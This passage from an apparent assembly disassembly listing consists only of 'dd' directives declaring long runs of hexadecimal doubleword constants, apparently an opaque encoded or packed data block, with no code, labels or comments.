		dd 840F0D48h, 0F1329546h, 185EE8FDh, 1FBA44FEh,	0BCA99920h
		dd 4D193C75h, 2BC56F45h, 0CD7D2Ch, 32E15B06h, 1B84890Fh
		dd 5EC00CA0h, 1C444B24h, 1C732A00h, 32EA8908h, 15C8351h
		dd 0E017407Dh, 50B6130Dh, 0CA9CAE21h, 3F6EA801h, 0C7E2708h
		dd 7F304782h, 0D058B903h, 27C160CAh, 0A60903E1h, 130DA987h
		dd 0D0B7427Dh, 8323D46Dh, 7F5650B7h, 16CD5F57h,	4604AF6Dh
		dd 0CCAA89B3h, 1E46BC8Ch, 0AD00C11h, 0DAC165E9h, 9590C381h
		dd 893E01C5h, 7311309Ch, 58D6AA83h, 507BB561h, 16DE3189h
		dd 1E9171Ah, 0CA4AAC8Fh, 3D05F949h, 0CFCD895Fh,	0C555E2D8h
		dd 0EACE0C4h, 0EFCFADF0h, 9238FB13h, 2F3C4568h,	287FD4C0h
		dd 925250DCh, 9A330678h, 1CF9011Dh, 0F7E90883h,	0B55C82A3h
		dd 0B2EA8809h, 0F88660CDh, 30B149E9h, 0D8685C0Dh, 0EFA97B67h
		dd 70BAC296h, 7CBD94D0h, 0F05F72D7h, 0BF68120Eh, 9A4E360h
		dd 555843E9h, 1CBD9B9Eh, 25E9F81Eh, 0CEC7AAC7h,	6588DE27h
		dd 20849D5Ah, 55135BA8h, 4006EEDh, 8103EBC1h, 50E10CF3h
		dd 1B0C466Ah, 0D90B4A28h, 908DB720h, 4FBF78AFh,	9858042h
		dd 11F01C4Fh, 6844934Eh, 0AD44C74Ah, 0D6F6022Ah, 509FC0C0h
		dd 87B12751h, 0E906EADBh, 0C71FAFh, 7F2E70EBh, 3A684340h
		dd 8002764Dh, 27F51025h, 0C1D800F7h, 0A20D02E8h, 7200AC19h
		dd 445BBD55h, 0FC01C260h, 0E1FE5AE9h, 457411Ch,	562D003Bh
		dd 0F1B53DC7h, 45D44B16h, 0AB0D3F50h, 0B63B4F99h, 0AC32675h
		dd 4C92865Ah, 4762C439h, 0CB290203h, 8659DF59h,	0FFE78942h
		dd 3089ADDBh, 0E5D268B8h, 2E548117h, 187CA2F1h,	0FE5538Fh
		dd 0F2E2EBCAh, 7580593Eh, 0F0CF8139h, 6AF90923h, 4A7E6DB4h
		dd 60503146h, 151B2DCDh, 486276Dh, 3AC04580h, 1810C4AAh
		dd 0FAF2CE07h, 0A0E38180h, 0B07D6FC4h, 9A7144Ch, 0D91C925Fh
		dd 64CFD25Bh, 53A2FF99h, 666105C3h, 5F2DE602h, 80740E46h
		dd 0A7BE56D1h, 0B03E9804h, 86720595h, 24EAD83h,	0EB7FE6BFh
		dd 18D9068h, 29313316h,	0EA1FFB04h, 7FF16802h, 6D4298D7h
		dd 0E4CE0580h, 566C6FEh, 0F9C707D1h, 4F5F10D4h,	0D622A640h
		dd 494AC0Dh, 1A7A565Eh,	0E9B3D0EFh, 0AB2E0EC0h,	19248A67h
		dd 3AB00820h, 90865740h, 0D3F63516h, 0FE35980Bh, 7096C348h
		dd 10E98AC4h, 334908A0h, 0D106D9F7h, 785AE42Dh,	0B1315CD1h
		dd 4AFD2D10h, 21B74AFh,	7E0AE984h, 46292369h, 0C84808BFh
		dd 254320B4h, 5C468968h, 0E90830B7h, 47D34E50h,	0E9870241h
		dd 0FE139E75h, 0B99BA08Eh, 47680BAAh, 2853893Ch, 0D47D6428h
		dd 41535E1Ch, 413D8664h, 0E4CB88E0h, 69FE99DAh,	126AE6D7h
		dd 0A9ED6AE9h, 8850C243h, 0A6C476DCh, 62BE2964h, 4CFF585Bh
		dd 0F0302E93h, 0E1F03DB1h, 10AF8B2Bh, 81680D0h,	0C05363E2h
		dd 0EAF007C3h, 0A0276847h, 9CC5597Ah, 58C58BD0h, 6E25B791h
		dd 37009F12h, 116B3D1Dh, 0BCFC9D89h, 0C665B08Ah, 0F661F48Bh
		dd 811A6E0Fh, 0F7258AF1h, 0A554AD31h, 1E18C00Ch, 0E4B680ADh
		dd 3D11805Ch, 0C77C9250h, 24AB99B4h, 0A49D473h,	80D78D2Bh
		dd 5AEC2AE0h, 312411BFh, 802D11B0h, 799CE75Ah, 0C12A3BE1h
		dd 0C700F64Ch, 7E721C9Bh, 49554468h, 40C06F56h,	0CC6A82h
		dd 0B7D7BA42h, 0C22960B9h, 0AA5F29B8h, 68CC70BAh, 0D8B94C63h
		dd 4137F4C9h, 6F271768h, 5E8003DCh, 0BE703055h,	0FA0177C4h
		dd 3EC3BD0Ah, 0C13A0B7Eh, 2723D4Bh, 3F917D42h, 4D8EC76h
		dd 36156816h, 8791CD67h, 842B8EF5h, 0A797EF22h,	97971466h
		dd 970A6E78h, 0C933122Ch, 1B9202C9h, 0DCFB55FCh, 6BD7953Dh
		dd 2DCF0EC0h, 1BEF640h,	133B799Fh, 4CDFDE62h, 2BD102D0h
		dd 0FD3157B5h, 0F265C071h, 0AE05A2D0h, 0EA7C2DDBh, 19FC5309h
		dd 0FB27D02Ch, 2493BDD9h, 83D1B81Dh, 8CFF92B6h,	4048143Dh
		dd 0A722298Ah, 0E5038164h, 2742157Eh, 370FB3D1h, 0E0DDA99Eh
		dd 766D309Ch, 0AF3183F8h, 0B3F5199Bh, 2470EFE4h, 8E67D1E9h
		dd 0D7DC8B5Eh, 0B937E866h, 0E9157479h, 8103E78Ah, 15939CDh
		dd 0D948B29Fh, 8F8518DDh, 1F0F2F72h, 38A5935Dh,	0E35E6226h
		dd 4BAF5B4Ah, 0A8E68FBDh, 4BA1BB01h, 816877AEh,	607F7CE6h
		dd 5F27749Ch, 8408990h,	9517FC8Ch, 109AD5Eh, 1F7FFCD8h
		dd 0AF225325h, 33FB7613h, 13AC6EE5h, 40F6350Bh,	0CDEF727h
		dd 0F5178E0Fh, 3003C6E1h, 0E93C90C0h, 2218AC91h, 40BAFA5Fh
		dd 0EA2F7A20h, 5AF45D05h, 1FBF5700h, 2978AB58h,	8247C12h
		dd 6E90FB0h, 1577567h, 0F195166Ch, 164206AEh, 0B6208E28h
		dd 0C03AED4Dh, 0FD889943h, 610CF9BFh, 0CCCCE580h, 23943EF5h
		dd 0A089B751h, 99D7136Eh, 84FBDA76h, 0BC7CF8AFh, 0ED5E65E9h
		dd 27C4EA58h, 0E52F0EBEh, 9559EAE4h, 0B62B0971h, 3B7759h
		dd 0BFEE8046h, 77F6CEFEh, 0E04AE6D6h, 0B1E918F3h, 0FFC19534h
		dd 17764960h, 95219E51h, 638892D8h, 730BA9BBh, 7901F49Ah
		dd 29FD69F6h, 3E2B5547h, 0AF6EA772h, 8C0F275Ch,	8ADD764h
		dd 0B7391536h, 27B0FE30h, 0A9EDEF8Ah, 0E1349EE5h, 837B648h
		dd 0BF017BB0h, 7CC9717Dh, 9FD355E8h, 0DF8008EEh, 6DC8FD17h
		dd 34AACC4h, 58DF7D45h
		dd 83580BDAh, 0A545332h, 46257DCEh, 1D3D82B2h, 30DD2992h
		dd 96A7EF1h, 0FFE979C3h, 5D4A5AD8h, 5C1F98ABh, 68C3300Bh
		dd 2558D26Bh, 0CF3ABA1h, 0A5D8298Fh, 0C3EDAA56h, 0E01FCA07h
		dd 0DC0ADB4Ch, 16A7167Dh, 11E1A451h, 38204241h,	0F18E446Ah
		dd 0BEEBB504h, 6AC14928h, 612F5BF7h, 24E4A46Ch,	2295D9AEh
		dd 5D4619AAh, 307F96B2h, 0A6850D0h, 3E09287Dh, 0AFA0089Ah
		dd 0E3095B1Fh, 881F7102h, 3500AC75h, 72593AC1h,	5E800D1h
		dd 62293BBFh, 494BC368h, 1905F5F3h, 0B360EA57h,	0D42D033Ah
		dd 0AB6BC605h, 5E3BF0BDh, 944D28E9h, 24B67A9Dh,	0BA66DEF6h
		dd 51096D48h, 8768F530h, 4A54B3E9h, 0A01CE18Ah,	0E3671939h
		dd 6120653h, 0E62D2150h, 2B67FE09h, 0F9110438h,	1ACD61EBh
		dd 5BE90C36h, 0BE3AC271h, 0BAFD4B8Bh, 0C41856F4h, 4F23E8CEh
		dd 658F1BCh, 2718A003h,	12482953h, 4AB649C0h, 0E8F321BAh
		dd 0E3899888h, 886F5176h, 4324EFB0h, 0E8240802h, 722A624Ah
		dd 800CF6F6h, 6C17548Eh, 2F2D0008h, 40DE0D74h, 0E927537Fh
		dd 0F3E042B5h, 0F3253EC2h, 0D6F7AC60h, 958746B7h, 0D104C894h
		dd 0B46E9EEh, 72E3D8FAh, 0AF2B2045h, 0D45D6306h, 0F2584F12h
		dd 787D195Dh, 4A215615h, 2500A57Ch, 2BB56192h, 0C730850Fh
		dd 0D9E175Ch, 66094817h, 0E0A310h, 0C1895A2Ch, 9FABE35h
		dd 0C3017CC0h, 3F81B177h, 0ED03E422h, 6D2D181Bh, 38F010DAh
		dd 0DF14332Dh, 542E0B31h, 0EE8925BAh, 8D5E71CAh, 0B54F680Ah
		dd 0DE0917F4h, 0B652414Bh, 0FEF520C5h, 0E9024D48h, 9DBD1D32h
		dd 38CA5DC6h, 50267AE9h, 1685399h, 1DAD1F4Bh, 42990B1h
		dd 0F456CCEFh, 0ECA79DBCh, 95CE7302h, 0E933B877h, 22C9EDCh
		dd 0E39D860Fh, 0BA1A1E8h, 55045A70h, 5B24C68Ah,	4F73FBF8h
		dd 8499C8D9h, 50C8DC6Bh, 0CB16997h, 84BF37F4h, 0F7C7A92h
		dd 803FBB5h, 0A20E055Bh, 0A074BF62h, 8A3E923h, 45930C02h
		dd 405F3E43h, 0B1326C58h, 64AC98h, 277B3A19h, 0E2B0C629h
		dd 0E50BC776h, 0A0DDF762h, 680D0481h, 82307BE9h, 74560D7h
		dd 1F60247Dh, 132B2D8Dh, 0CF74C0F7h, 46201810h,	0C12C5269h
		dd 14B06F4h, 0BF5F25A4h, 0D87175DCh, 0BB028478h, 25210DDAh
		dd 8CB97B5Ch, 0B650366Eh, 0F8C007C3h, 2001DDF0h, 58BE565Bh
		dd 2B522513h, 4E5131Bh,	0AA43F034h, 0B650AB66h,	1E5D3008h
		dd 4F2C73E4h, 5CAB523h,	0DD718008h, 5002636Fh, 0C0E9FB29h
		dd 0D5C9A2DBh, 267FD15Ah, 1355AF8Ch, 5E8EAB5Fh,	96B6F2DBh
		dd 0D3CB6253h, 4DB1E93Ah, 3E86900Bh, 80C4C3A9h,	0FA4A82EBh
		dd 0C7DF6A4Ah, 2924AF92h, 4A2BAC07h, 7C1029FAh,	7E82F445h
		dd 685D00F8h, 93C4210Ch, 0B410C02Fh, 4F4E100Ch,	9C543816h
		dd 5B7168E0h, 9929913Dh, 3E374318h, 3680EF35h, 70536EA5h
		dd 91025DBAh, 95E98FACh, 0C059A516h, 7C0BC1BBh,	208765BDh
		dd 556B08D8h, 0AE414811h, 51421261h, 0C5500A29h, 16462608h
		dd 55853064h, 441F1268h, 0AC8B4CF9h, 95146EFh, 2CEC107Ch
		dd 80AD4D0h, 98B565E9h,	0EF805A82h, 0C93602Ah, 0E7C98322h
		dd 0CE87E43Fh, 0C7137863h, 0F7D4CFD7h, 0C181D794h, 0C9685B2h
		dd 46F30155h, 201DA701h, 18D698BCh, 0C14329ABh,	7AE22AABh
		dd 2731048Bh, 4E292898h, 817E74ABh, 6D40BC17h, 0C7933472h
		dd 8C3E00EBh, 41053DBEh, 495F5A16h, 0F7CFC1FEh,	7E6635B9h
		dd 9A49341Eh, 7A91D43Ah, 4BB65955h, 2C4F667Dh, 0AF433703h
		dd 0F3C945Fh, 0EB1823EDh, 10C501A5h, 0CE5A08DAh, 23DD10BFh
		dd 0C849E909h, 4699917Ah, 0A10A6E0Ch, 0A9142652h, 2DC80AEDh
		dd 0AA12F07h, 6FD8D9E9h, 7A726C97h, 9B18DD15h, 645AC868h
		dd 9DB5C7E8h, 9BEE42D7h, 5F25BA5Eh, 0E9840AC7h,	76A490B4h
		dd 0E33D1896h, 44940C57h, 57544725h, 34087208h,	3145F0Ch
		dd 16375269h, 5C650C06h, 0B4013C7h, 3BE121CAh, 0BE230B04h
		dd 44317329h, 10FFCE2Bh, 64504B07h, 2320605Dh, 25CAA5F5h
		dd 5F55681Fh, 8A5E341Fh, 27C4CAFEh, 0A5D439BEh,	0EB9CD7F2h
		dd 8AE27CA3h, 27CBC6F5h, 91489710h, 480BB714h, 0BCD01D4h
		dd 9C78029Fh, 0EA3275BAh, 9CE33162h, 0C238AED5h, 4B8D0C68h
		dd 0E9A13595h, 0BAF65526h, 5DA6CB8Bh, 30091147h, 0C8C5F7FAh
		dd 5DE83183h, 885C4FE9h, 4613C2F6h, 0B704704Ch,	2D0B5316h
		dd 56720D7h, 4E5D5A0Fh,	4099AC5Bh, 8349E907h, 0DA583C01h
		dd 0CEFF9A17h, 692950ABh, 9D829F96h, 756A191Ah,	3008D3A8h
		dd 8440180Ch, 0E5246F7Dh, 0FD6960ACh, 0E64F7701h, 0B01EF84Ah
		dd 0A1DAC895h, 4DBB131Bh, 85CAE89h, 0AD06649h, 7104BF2Dh
		dd 0B1BA5532h, 8208055Eh, 92DF9C31h, 0B1C87F53h, 68806DDBh
		dd 0C64A5318h, 3034B500h, 0C68059EEh, 3BCEA65Ch, 0B879791Eh
		dd 50A9CE00h, 0B44AB753h, 1FFCE0D6h, 0B9C4FE5Bh, 38060133h
		dd 8BDECB0h, 0C6E9E60Dh, 0AC6F5E3Dh, 0C22E8836h, 7C0B8305h
		dd 30CCA0F9h, 0DB0C631Eh, 7A4AB514h, 0E6E562FEh, 0AA8E5D09h
		dd 0C03E566h, 78100294h, 0FD079448h, 0B3144935h, 320E89DFh
		dd 0FB2F580h, 2CF844E8h, 0ED1432EFh, 0E4D1F4CAh, 0B8A7B42h
		dd 23E6710Bh, 0C097C39Dh, 9871760Fh, 0A232F2C1h, 0D2787D08h
		dd 273116BFh, 0C446D332h, 480D4E07h, 1BC0355Dh,	170F3EDAh
		dd 0A4671C8Ch, 9D5F2FC5h, 542DF6E6h, 2AF97CA0h,	0F89F055Ch
		dd 16B0A7FAh, 878CFBDAh, 0FC6F4B49h, 0A3FEB4A0h, 0D184101Dh
		dd 0D0C7658h, 0FA32208Ah, 0C46029FAh, 304AB21Ah, 5DFEF2CAh
		dd 68020AEBh, 665D2941h, 1620007Dh, 0BF67B165h,	27FDDF02h
		dd 0C0CC8001h, 955B3DE0h, 5E634623h, 7AC31D1Eh,	0C1DDB24Eh
		dd 0CAFE33C2h, 274693EFh, 848D9010h, 0CE656128h, 0E9A8A2E3h
		dd 459FE0EEh, 47270832h, 81BC5813h, 3B775B1h, 9B60EA68h
		dd 2A9FC093h, 58100454h, 0D0A47EE9h, 0EF9884BAh, 99689897h
		dd 0FF94851Eh, 60B40FBEh, 0E9502189h, 288FDFB8h, 1A25C86h
		dd 680D3F6h, 0FC885B66h, 0D9A9E91Ah, 0EA535D5Eh, 10B8532Dh
		dd 26064EF3h, 27EBEED1h, 5B10815Fh, 2800CCBEh, 0A8BF69AEh
		dd 0A0BDFBF2h, 0B0132EF1h, 0F2E8BF43h, 0A724027Bh, 8B387B19h
		dd 0C0FB5D41h, 0A0F701E3h, 74212FFh, 0E95E037Dh, 0AC642C2Dh
		dd 66505303h, 0B1DDB551h, 1608852h, 88974B3Ch, 0F990C83Dh
		dd 10266E58h, 2C6F9EDBh, 4224ECAFh, 8FDDEFEDh, 8105C5F5h
		dd 0C808378Ah, 0F90B2D74h, 8158B1D5h, 0EB87E919h, 2182E63Ah
		dd 0D31A2811h, 834FB66h, 87BA24C3h, 61467D0Bh, 5AB12649h
		dd 0B13BA5A1h, 1DB4009Bh, 0B7C763Fh, 79FE5A90h,	0B4A67EE1h
		dd 3B6B6809h, 0BADFB21Ah, 20CE7FD6h, 46345F97h,	9DBE875Dh
		dd 55515300h, 125EAA68h, 0AAE90A31h, 895DFA80h,	6BA49EF2h
		dd 68DB6303h, 53AF1F4Fh, 0CD7701DCh, 2E678ED3h,	4C059480h
		dd 0A0724F6Dh, 1B38D691h, 0F302CF22h, 43410B19h, 1C501208h
		dd 7B8DFF8Ah, 0D074842Bh, 0B23AE975h, 0E22D9992h, 5C7A9A3Bh
		dd 0ECA5BE88h, 0E9165BE6h, 0A25ED6BDh, 0F80E501Ch, 9C1A9F04h
		dd 7DAB2B43h, 0E91844B6h, 0BD44D390h, 127B39E2h, 0C5734F7Ah
		dd 72F2BB69h, 78BD68C3h, 95E3EF84h, 0EA9F93DDh,	9499921h
		dd 0CFCDA33Eh, 0B6BE528Bh, 0DC13869Ch, 25439510h, 0B450F380h
		dd 0CCFE940Fh, 8E01D6F6h, 0C92EE91Bh, 7EB7D189h, 0BD24ED66h
		dd 7EA8909Fh, 2807A402h, 60E8D142h, 0E1A2458Fh,	0F190AC7Bh
		dd 0F00D10Bh, 0E84E1587h
		dd 0EAF86ED5h, 0F8897560h, 253EF281h, 0F10826Dh, 8B0ED182h
		dd 31E25016h, 6CA332E3h, 0A8AF0420h, 5100960Bh,	10CF5A85h
		dd 0C0EA7281h, 46A92D0Dh, 0E2BD34C5h, 0DF070905h, 0E93089C4h
		dd 6852F5A2h, 286C0394h, 0D7015A29h, 0EF810714h, 187C4C0Ch
		dd 0B930BBC1h, 0F5113E0Fh, 0D92FDEDCh, 681C38D7h, 0E9CAA8CDh
		dd 25399471h, 0D0D0987Dh, 89D2837Eh, 2D25B1C3h,	0EB4349F1h
		dd 4EBB57FCh, 10BB17h, 91DC4E08h, 1329AB2h, 9B16D1BFh
		dd 0F1F9213Eh, 3BC97D11h, 0D2E3A7D8h, 68C83B01h, 0C0960924h
		dd 4B257F48h, 0C8B70BFh, 0B963968h, 7E2D3C86h, 2776743Ah
		dd 0ADF17920h, 5E4E24F6h, 0E9B94EAEh, 0DC23A80Bh, 84C4B8B1h
		dd 0E540BF6Ch, 35753909h, 0ACE75AC1h, 44B001C5h, 0DFF71C42h
		dd 769E017Fh, 9F02AA0Eh, 0DCC95F0Ch, 0E986A12Fh, 8A798CF6h
		dd 0A416022Ch, 38BB07EFh, 0FEAEA4C6h, 7BC4612h,	0A981F3B7h
		dd 2F641E48h, 90516602h, 11873853h, 9771BA4Ah, 19814BCEh
		dd 6C15BC6h, 0FA436F46h, 0DD0B8BC3h, 315D9701h,	0D9EDFAB7h
		dd 0BE04F5E7h, 5A0F2510h, 5605572Fh, 0FBBF4B48h, 0C2499977h
		dd 2C07783Ch, 0E3E51AD1h, 3B17CFC0h, 98FF3C87h,	0B440A914h
		dd 0C18CA021h, 0F698A0E6h, 10041214h, 0B48BEECCh, 409B6E10h
		dd 202C9E8h, 5668201Ah,	67085669h, 3AE4D01Ch, 0A25B77E9h
		dd 62C1346h, 2CE17D27h,	0A7EAA435h, 39012EF4h, 430BA147h
		dd 809D1930h, 87127835h, 0F6084FECh, 3F82565h, 0AC5DFB07h
		dd 2BD4D689h, 4E33F6E8h, 3DE8DDC0h, 0F24E0148h,	0C2D7AD49h
		dd 83FBDFCCh, 5AE202BBh, 6032773Ah, 0C03EB71Bh,	65F2C219h
		dd 0F7041AABh, 24068D2h, 99C1CBB8h, 7A5F6921h, 528649ADh
		dd 70120F81h, 10BF6A1Bh, 5A25075Eh, 4A9C6655h, 6814007Fh
		dd 263E0B53h, 0D09E3FF4h, 39DF5425h, 623A3225h,	749F4D58h
		dd 9DC2720Ch, 45952F58h, 3754AF96h, 0FFB36E62h,	8898AC10h
		dd 17021BA1h, 0D7A8AAB4h, 0E2C05B09h, 0ED66E6F0h, 0FF6A6F06h
		dd 0E84A8863h, 0C94DC6ECh, 95B30938h, 0CD7D908h, 950512D0h
		dd 0E52FFC56h, 0E9C28383h, 0AA856A70h, 899FAEB2h, 0C55EE7C8h
		dd 72F77469h, 2F6AD756h, 0FE5AFA00h, 1CB8107h, 7C314295h
		dd 538A6BE9h, 5CA5E1Ch,	9077FFEh, 9891C57h, 8D0CC98Dh
		dd 26ABCE8h, 0DB681EBBh, 0D975315Ch, 6FD8A713h,	145848BFh
		dd 2C199D8h, 8BAB19EEh,	0A1572DC2h, 7727E941h, 0E4C02289h
		dd 0DC12D8F4h, 242942A1h, 8811E176h, 56F02BC6h,	702F0B98h
		dd 0C3744D30h, 4B81203Eh, 0EB739468h, 0D44AE6E3h, 6CB8AF79h
		dd 6446C1A4h, 8674B0AFh, 70EC8003h, 27E37D42h, 13F4F31Fh
		dd 501DDEBh, 7866EE43h,	967D1636h, 0D259E170h, 204FB214h
		dd 0A1A37B81h, 0D55A772Fh, 690386A9h, 0F51C9F71h, 0C7C901EFh
		dd 0CFD48798h, 66737709h, 0C819FF2Dh, 992A2E51h, 0E2725C2Ch
		dd 1C5F95F8h, 0AC45B7D0h, 0FD2CA282h, 909DE6Bh,	0AD1030E9h
		dd 45195FCAh, 0BBAC6EC2h, 20B15603h, 9F652FD5h,	5FC0A4D4h
		dd 38535ECh, 0E951475Fh, 0AE840991h, 0E9E056BCh, 0F9B49A42h
		dd 4F436861h, 0C438F22Bh, 12AF1DE9h, 6364EA27h,	7158AFA3h
		dd 9B0B8000h, 0E9D72912h, 3EFD1C55h, 4F00B513h,	6B161331h
		dd 96DE5001h, 0F555CB8Fh, 8039B5FEh, 1795178h, 5A3EE9EAh
		dd 5CD9D70h, 84F704CAh,	45AB17E8h, 21903DBBh, 742E0808h
		dd 0D4B4D02Ah, 0B5A5E970h, 3EBA7080h, 61B8A441h, 0A89CD550h
		dd 0F76B39BEh, 29F545CAh, 0C06555BAh, 7B104BA4h, 7A25404Ch
		dd 49ADDA59h, 352C58C7h, 0B7DFEC5Bh, 7E3F8C36h,	0E27BE12Ah
		dd 0A0C84B9h, 6A163880h, 0E96D0C8Ch, 4E2B8D03h,	9B671B26h
		dd 2293E709h, 75E6E379h, 8A54604Ch, 5C98ADCAh, 0F64FCA0Bh
		dd 0D9A7A035h, 9770C848h, 0E0DB1884h, 82EC54D8h, 0B9400860h
		dd 12A4197Fh, 0BACE0165h, 625E6C2Ch, 82910BB5h,	651257E4h
		dd 30FA0743h, 7CECE93Bh, 73C221C0h, 7716AF48h, 8AEA4A5Eh
		dd 6EE75185h, 962DB2Dh,	650A6C02h, 13DD9735h, 0EC81B5F7h
		dd 9C6B022Bh, 0F1408984h, 40014050h, 0D9BE0B5h,	725A005Bh
		dd 97AA3548h, 995FBE7h,	93D001E2h, 0D8D6BF16h, 5E05134Ah
		dd 68F880F7h, 1ABF02D2h, 8C5C8177h, 0DA205E6Ch,	0AAE74BCCh
		dd 0CFDB7020h, 2E1858EDh, 9A685EB2h, 88B674C0h,	544F9282h
		dd 0A08ADC44h, 0BF1CD608h, 0D70C2E5Ah, 53523AE8h, 9C5F33FAh
		dd 0FC30613Dh, 0DAAE4EB1h, 9E824BFDh, 0A746FD7Fh, 0DEF856C4h
		dd 0DBF53500h, 90AAE801h, 6EBAC441h, 9FAD49D1h,	80DD2869h
		dd 670E4BE5h, 5AB84D65h, 0EECEB60Bh, 0A5805509h, 7716DA05h
		dd 0BF1960FDh, 0FCAA6697h, 23411638h, 40C7A86Fh, 905AE907h
		dd 2DB2E6C5h, 32B76882h, 16081455h, 0BB4429E9h,	203DE831h
		dd 0E0E0D101h, 0E769F384h, 0BF0172E5h, 0E8205A44h, 0EBBB043Bh
		dd 0EB0713A6h, 137C5BD8h, 1DC62Ah, 9D716DC6h, 0FA08316Ch
		dd 9403BE9h, 35430668h,	4D320FD1h, 0E9043FB0h, 3147819h
		dd 0B9F82317h, 9EB95EFFh, 2E39EBB4h, 0C631A27Ah, 4F11D497h
		dd 0E71B2DE2h, 7811DC2Fh, 2A497387h, 7C116E99h,	884F2552h
		dd 0A3091E66h, 80748040h, 0C121B767h, 570CC162h, 7A1A0756h
		dd 2D43CFC3h, 0BA491652h, 0D3313A2Bh, 9E3901E8h, 8D0A36Ah
		dd 6618CC19h, 83BC2378h, 33F5FD82h, 0B028C77Bh,	51CFB0FAh
		dd 0FE7BB100h, 0F9F180C1h, 38C85C08h, 6C540B25h, 48AEEE67h
		dd 9BBA02F6h, 68602771h, 3D1875EAh, 7781A23h, 1F13B2C2h
		dd 3DA3310Fh, 68C3792Dh, 7DF382CCh, 35F74248h, 5CF5063Fh
		dd 0A0762FEDh, 0B58FB1AAh, 0DDF626A1h, 0DC8B0CF4h, 644B5EEFh
		dd 5759F222h, 0D0883903h, 0E9E821E8h, 522F692Dh, 44ED05A5h
		dd 0FB032639h, 60081250h, 9B5EF21Ch, 0C8109770h, 0C35F8CE9h
		dd 3E399C93h, 497DD00Dh, 0B11E340Dh, 0D9C2091Dh, 1FBCA416h
		dd 50B01665h, 0C380055Bh, 0FEB28A2h, 0DD1F12B3h, 14F68DD2h
		dd 6BBADDC4h, 73B87400h, 7618A4Ah, 0CB69AE2Dh, 0A9F0F219h
		dd 0ED51BEF4h, 2458C262h, 3364DE04h, 5240AE4Dh,	38FC6ABCh
		dd 84B44BE9h, 29A7EAA8h, 43466813h, 0E228E907h,	0F8A35976h
		dd 2C31D3C1h, 0A2ED026Bh, 5E3370C5h, 0AD124C1h,	9CD76FF5h
		dd 42D093C2h, 2D83870Eh, 23968009h, 983A1839h, 56E31299h
		dd 0CC55B141h, 330B1630h, 0C8C985E9h, 3D7EBDFDh, 0B29528F1h
		dd 0EA4FE1A7h, 2520912Ch, 81C01E08h, 0FB5F94E9h, 19EFBA48h
		dd 0DF2C0659h, 0CFB901ADh, 62A537E9h, 697006Bh,	0CE81725Fh
		dd 0BD7600BAh, 68535502h, 0F84C64C7h, 7F31177Ah, 0CD884E6h
		dd 0E34E2CE7h, 0D45115EBh, 30440712h, 97BD55FFh, 0A6E61F3Ah
		dd 7A702052h, 38CC0158h, 0D41B31BAh, 0EF2A2Bh, 2520F2E5h
		dd 74B75727h, 7C10206h,	0F08076C8h, 93D7A5AEh, 0FE096A90h
		dd 44492354h, 0E2C00360h, 0D5B35303h, 0FF4CDA82h, 32E9E8E1h
		dd 0A42A0148h, 0C36B8489h, 0B6989288h, 0E225E987h, 0B96FF97h
		dd 0C6DD99A1h, 4B5DA70Eh, 0FB67DF0Bh, 73484F0Ch, 0C1E70BC7h
		dd 65FF064h, 0B5400848h, 58833603h, 7E373116h, 0BDF5BF89h
		dd 82B91342h, 4061CDEFh, 5C4CB257h, 0C1020E41h,	0B310A4Dh
		dd 6AA25361h, 0F62AB830h, 8B0F1ADEh, 0F204892Eh, 81C41E6Eh
		dd 2390FE29h, 175EF3C1h, 45C012Dh, 0B8088BFAh, 0A943A4D8h
		dd 3F9EFFE9h, 0F3894B10h, 517419B0h, 0ADD0881Dh, 6602FE5Bh
		dd 0A014B38Ah, 9DC7C381h
		dd 534E2FCCh, 575A52DCh, 0AA61372Eh, 6016E0B8h,	55E7CB64h
		dd 4F52EBABh, 0E2A5FA09h, 6FB551A6h, 152E22Fh, 0B492826h
		dd 0B7F22A47h, 61D3E14Bh, 7CD62B97h, 0E56B2D0Eh, 210F1DD9h
		dd 7B974D7h, 0F9503467h, 29E085CBh, 8AE1FBB8h, 0D73F925Ah
		dd 0ED41BEEh, 0F3ED80D0h, 0CE830F09h, 3298F7A7h, 0CCBCD098h
		dd 0FCBCC560h, 5AC47EFDh, 0D86BE4E1h, 735C6813h, 0DD4250Dh
		dd 2B78396Ah, 3DCA29FEh, 0DF23123Bh, 0F021FCA5h, 0CB020D2Bh
		dd 630FD610h, 11470468h, 2475D4CFh, 6D03BAF2h, 511A17Bh
		dd 0A45FC10Ch, 21C1040Ch, 0EF831EEEh, 0A6814702h, 16CF3F06h
		dd 0B0CA1D95h, 0C0890D4Ch, 710346DDh, 0A3295B68h, 4C10C431h
		dd 0CEDBAB13h, 0F1D5ED5Eh, 728B8269h, 338EE30h,	0F5728851h
		dd 0A499E85Dh, 6B6F9A80h, 0D42D5CC2h, 0EE48B40Bh, 99E64D07h
		dd 0AB1E99F7h, 8AFBD954h, 0BCE9261Eh, 79AA8235h, 3BF23E53h
		dd 0AF4F7547h, 2DB5DD3Dh, 8800ABA8h, 72E68149h,	795A257Fh
		dd 2A8CFC7Ch, 4FC83D82h, 7ADAF505h, 2B0577B1h, 0E897BD0Ah
		dd 7C73BF82h, 95F8C0D7h, 0BC14D6CFh, 148A2737h,	0E122B7B4h
		dd 0CE5540EDh, 9879856h, 796A4CABh, 44361480h, 0E91542CEh
		dd 38B7B17h, 4D0677EFh,	7467D90Dh, 4BC61781h, 7A298812h
		dd 9081C50h, 0DD7EF1E9h, 8A261B65h, 0EBA1B718h,	0C56518B0h
		dd 5C5F0C28h, 0E33DA128h, 0C12AC90Ch, 0BCC3A2Dh, 29E30F4Ah
		dd 1AAC0CFEh, 2694FC4Bh, 843508CBh, 0C5E6E62Ah,	0A92D737Bh
		dd 888F5192h, 29057252h, 92BD5FF9h, 25F31010h, 0B447D55Eh
		dd 0F01FE909h, 5E28627Dh, 0B45472C3h, 28B2A053h, 418EC8D8h
		dd 2A07F27h, 7AD638A5h,	318CE8A0h, 297C0D13h, 42016BFh
		dd 0A22DBBB2h, 8EBE4A7Ah, 19832057h, 2F9BCFE9h,	0A7EFDCFDh
		dd 32AFB0B5h, 48528B5Dh, 5D53C9BFh, 0B901FFDAh,	5DD7717Fh
		dd 6321D9F7h, 0B7355F4h, 0A1CBE96Dh, 58F9B7Eh, 0FF7F4B3Eh
		dd 5397A205h, 0FD13A088h, 371F191Dh, 3C6B6040h,	6690E912h
		dd 4AE3857Ch, 0ABE4740h, 7E452AC3h, 3E3D07B0h, 0E6C0DEADh
		dd 4C0F79CDh, 2BB518C5h, 4AF0C1BAh, 0CD416E7Eh,	57090D71h
		dd 5540A8A5h, 759CA901h, 7947044Fh, 865C41BAh, 204E426Bh
		dd 25018CBCh, 2EB93A52h, 0B82069DDh, 446AE5A9h,	575A1A06h
		dd 0B0BD3B90h, 7C59074h, 313D4EB9h, 5DE92541h, 0FA94A893h
